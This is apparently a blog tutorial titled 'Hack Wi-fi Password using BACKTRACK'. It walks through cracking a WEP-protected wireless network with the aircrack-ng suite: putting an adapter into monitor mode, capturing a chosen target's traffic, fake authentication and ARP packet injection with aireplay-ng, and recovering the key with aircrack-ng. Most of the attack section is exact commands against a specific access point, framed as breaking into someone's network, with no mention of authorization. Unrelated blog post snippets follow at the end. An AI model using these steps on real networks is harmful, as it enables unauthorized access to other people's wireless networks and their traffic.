Skip to main content

Hack Wi-fi Password using BACKTRACK

Requirements :-

             1 ) backtrack
             2 ) Wifi adapter capable of injecting packets , For this tutorial I will use Alfa            AWUS036H which is a very popular card and it performs well with Backtrack.


Procedure :-

First Login to your Backtrack / Linux distro and plug in your Wifi adpter , Open a new konsole and type in the following commands

ifconfig wlan0 up

where wlan0 is the name of the wireless card ,it can be different .To see all wireless cards connected to your system simply type in ” iwconfig “.

Putting your WiFi Adapter on Monitor Mode
To begin, you’ll need to first put your wireless adapter into monitor mode , Monitor mode is the mode whereby your card can listen to every packet in the air , You can put your card into monitor mode by typing in the following commands

airmon-ng start (your interface)
Example :- airmon-ng start wlan0
Now a new interface mon0 will be created , You can see the new interface is in monitor mode by entering “iwconfig mon0” as shown
Finding a suitable Target

After putting your card into monitor mode ,we need to find a network that is protected by WEP. You can discover the surrounding networks by entering the following command

airodump-ng mon0
Bssid shows the mac address of the AP, CH shows the channel in which AP is broadcasted and Essid shows the name broadcasted by the AP, Cipher shows the encryption type.

Now look out for a wep protected network In my case i’ll take “linksys “ as my target for rest of the tutorial

Attacking The Target

Now to crack the WEP key you’ll have to capture the targets data into a file, To do this we use airodump tool again, but with some additional switches to target a specific AP and channel. Most importantly, you should restrict monitoring to a single channel to speed up data collection, otherwise the wireless card has to alternate between all channels .You can restrict the capture by giving in the following commands

airodump-ng mon0 –bssid -c (channel ) -w (file name to save )

As my target is broadcasted in channel 6 and has a bssid “98:fc:11:c9:14:22″ ,I give in the following commands and save the captured data as “RHAWEP”

airodump-ng mon0 –bssid 98:fc:11:c9:14:22 -c 6 -w RHAWEP

Using Aireplay to Speed up the cracking


Now you’ll have to capture at least 20,000 data packets to crack WEP .This can be done in two ways, The first one would be a (passive attack ) wait for a client to connect to the AP and then start capturing the data packets but this method is very slow, it can take days or even weeks to capture that many data packets
The second method would be an (active attack )this method is fast and only takes minutes to generate and inject that many packets .
In an active attack you’ll have do a Fake authentication (connect) with the AP ,then you’ll have to generate and inject packets. This can be done very easily by entering the following commands

aireplay-ng – 1 3 -a (bssid of the target ) (interface)
In my case i enter the following commands

aireplay-ng -1 3 -a 98:fc:11:c9:14:22 mon0

After doing a fake authentication ,now its time to generate and inject Arp packets . To this you’ll have to open a new Konsole simultaneously and type in the following commands


aireplay-ng 3 -b (bssid of target) -h ( Mac address of mon0) (interface)

In my case i enter
aireplay-ng 3 -b 98:fc:11:c9:14:22 -h 00:c0:ca:50:f8:32 mon0


If this step was successful you’ll see Lot of data packets in the airodump capture as shown

Wait till it reaches 20000 packets , best would be to wait till it reaches around 80,000 to 90,000 packets .Its simple more the packets less the time to crack .Once you’ve captured enough number of packets, close all the process’s by clicking the into mark which is there on the terminal


Cracking WEP key using Aircrack



Now its time crack the WEP key from the captured data, Enter the following commands in a new konsole to crack the WEP key

aircrack-ng (name of the file )

In my case i enter
aircrack-ng RHAWEP-0.1-cap

With in a few minutes Aircrak will crack the WEP key as shown



Once the crack is successful you will be left with the KEY! Remove the colons from the output and you’ll have your WEP Key.

Comments

Popular posts from this blog

Marvel Studios' Avengers - Official Trailer

Microsoft changes 'Outlook Web Access' to 'Outlook on the web'

The branding gurus are really earning their wages down Redmond way Outlook for the Web's new weather-enabled calendar app 14 5 Aug 2015 at 02:58,  Simon Sharwood Fresh from showing glimpses of the next-generation Outlook Web Access client in a preview of Exchange Server 2016 , Microsoft has now detailed just how the new version of the browser-bound Outlook will work. There's a new name for starters: “Outlook Web Access” is now “Outlook on the web”. Those marketers sure are earning their wage! Microsoft saying all the usual stuff about the revision making you more productive. The feature touted as making the greatest contribution to that cause is the new “Action toolbar” that “provides quick access to the most common commands, whether you are clearing out your inbox, replying to an email, or adding an event to your calendar.” One of the things you'll see on the toolbar, depicted below, is the “Sweep” command. That's come from Outlook.com and “provides a simple set of act...

Microsoft upgrades its Surface tablets to Windows 10

Consumers interested in buying one of Microsoft's Surface tablets will now find it with Windows 10 preinstalled. Microsoft's  online page  for its lower-cost Surface lineup shows that the tablet now comes with Windows 10 Home edition. The page for the pricier and beefier Surface Pro 3  indicates that they're outfitted with Windows 10 Pro edition. Microsoft has been on a tear to push out Windows 10, partly to make up for the poor response to Windows 8 and partly to get as many Windows users as possible all on the same platform. The company has been offering Windows 10 as a free upgrade to Windows 7 and 8.1 users for the first year. Last Thursday, Microsoft announced that the new OS was  running on 14 million devices  since its official launch the previous day. Now the challenge is to get PC and tablet makers to outfit their new devices with Windows 10. Microsoft certainly would want to lead the way, so it's natural for its own Surface tablets to now be sporting W...